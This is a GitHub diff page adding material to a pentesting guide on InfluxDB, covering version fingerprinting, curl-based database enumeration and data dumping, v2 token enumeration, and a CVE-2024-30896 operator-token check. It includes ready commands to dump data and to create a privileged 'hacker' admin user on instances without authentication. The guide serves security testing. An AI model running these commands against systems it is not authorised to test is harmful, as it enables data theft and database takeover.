You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/network-services-pentesting/8086-pentesting-influxdb.md
+110-7Lines changed: 110 additions & 7 deletions
Display the source diff
Display the rich diff
Original file line number
Diff line number
Diff line change
@@ -13,6 +13,21 @@ PORT STATE SERVICE VERSION
13
13
8086/tcp open http InfluxDB http admin 1.7.5
14
14
```
15
15
16
+
## Identify & Version (HTTP)
17
+
18
+
- v1.x: `GET /ping` returns status 204 and headers like `X-Influxdb-Version` and `X-Influxdb-Build`.
19
+
- v2.x+: `GET /health` returns JSON with the server version and status. Works without auth.
20
+
21
+
```bash
22
+
# v1 banner grab
23
+
curl -i http://<host>:8086/ping
24
+
25
+
# v2/compat health
26
+
curl -s http://<host>:8086/health | jq .
27
+
```
28
+
29
+
Tip: exposed instances often also serve Prometheus-style metrics at `/metrics`.
30
+
16
31
## Enumeration
17
32
18
33
From a pentester point of view this another database that could be storing sensitive information, so it's interesting to know how to dump all the info.
@@ -22,8 +37,8 @@ From a pentester point of view this another database that could be storing sensi
There was a vulnerability influxdb that allowed to bypass the authentication: [**CVE-2019-20933**](https://github.com/LorenzoTullini/InfluxDB-Exploit-CVE-2019-20933)
37
52
38
-
### Manual Enumeration
53
+
### Manual Enumeration (v1 HTTP API / InfluxQL)
54
+
55
+
Even when no CLI is available, the HTTP API is usually exposed on port 8086.
curl -sG "http://<host>:8086/query" --data-urlencode "db=telegraf" --data-urlencode "q=SHOW FIELD KEYS"
72
+
73
+
# Dump data from a measurement
74
+
curl -sG "http://<host>:8086/query" \
75
+
--data-urlencode "db=telegraf" \
76
+
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'| jq .
77
+
78
+
# Force epoch timestamps (useful for tooling)
79
+
curl -sG "http://<host>:8086/query" \
80
+
--data-urlencode "epoch=ns" \
81
+
--data-urlencode "db=telegraf" \
82
+
--data-urlencode 'q=SELECT * FROM "cpu" LIMIT 5'
83
+
```
84
+
85
+
> [!WARNING]
86
+
> In some testing with the authentication bypass it was noted that the name of the table needed to be between double quotes like: `select * from "cpu"`
87
+
88
+
If authentication is disabled, you can even create users and escalate:
89
+
90
+
```bash
91
+
# Create an admin user (v1, auth disabled)
92
+
curl -sG "http://<host>:8086/query" \
93
+
--data-urlencode "q=CREATE USER hacker WITH PASSWORD 'P@ssw0rd!' WITH ALL PRIVILEGES"
94
+
```
95
+
96
+
The information of the following CLI example was taken from [**here**](https://oznetnerd.com/2017/06/11/getting-know-influxdb/).
41
97
42
98
#### Show databases
43
99
@@ -109,13 +165,60 @@ time cpu host usage_guest usage_guest_nice usage_idle
> In some testing with the authentication bypass it was noted that the name of the table needed to be between double quotes like: `select * from "cpu"`
168
+
### InfluxDB v2.x API (Token-based)
169
+
170
+
InfluxDB 2.x introduces token-based auth and a new API (still on 8086 by default). If you obtain a token (leaked logs, default deployments, backups) you can enumerate:
- For v1.8+, some v2-compatible endpoints exist (`/api/v2/query`, `/api/v2/write`, `/health`). This is useful if the server is v1 but accepts v2-style requests.
197
+
- In v2, the HTTP `Authorization` header must be in the form `Token <value>`.
114
198
115
-
### Automated Authentication
199
+
### Automated Enumeration
116
200
117
201
```bash
118
202
msf6 > use auxiliary/scanner/http/influxdb_enum
119
203
```
120
204
205
+
### Recent vulns and privesc of interest (last years)
206
+
207
+
- InfluxDB OSS 2.x through 2.7.11 operator token exposure (CVE-2024-30896). Under specific conditions, an authenticated user with read access to the authorization resource in the default organization could list and retrieve the instance-wide operator token (e.g., via `influx auth ls` or `GET /api/v2/authorizations`). With that token, the attacker can administrate the instance (buckets, tokens, users) and access all data across orgs. Upgrade to a fixed build when available and avoid placing regular users in the default org. Quick test:
208
+
209
+
```bash
210
+
# Using a low-priv/all-access token tied to the default org
# Look for entries of type "operator" and extract the raw token (if present)
214
+
```
215
+
216
+
- Many legacy 1.x deployments still expose `/query` and `/write` unauthenticated on the Internet. If auth is disabled, you can dump or even modify time-series at will; you may also create admin users as shown above. Always verify with the HTTP API even if the CLI blocks you.
217
+
218
+
219
+
220
+
## References
221
+
222
+
- InfluxData docs: InfluxDB v1/v2 HTTP API reference (endpoints like `/ping`, `/health`, `/query`, `/api/v2/authorizations`). <https://docs.influxdata.com/influxdb/v1/tools/api/>
223
+
- CVE-2024-30896 operator token exposure in InfluxDB OSS 2.x. <https://www.wiz.io/vulnerability-database/cve/cve-2024-30896>
0 commit comments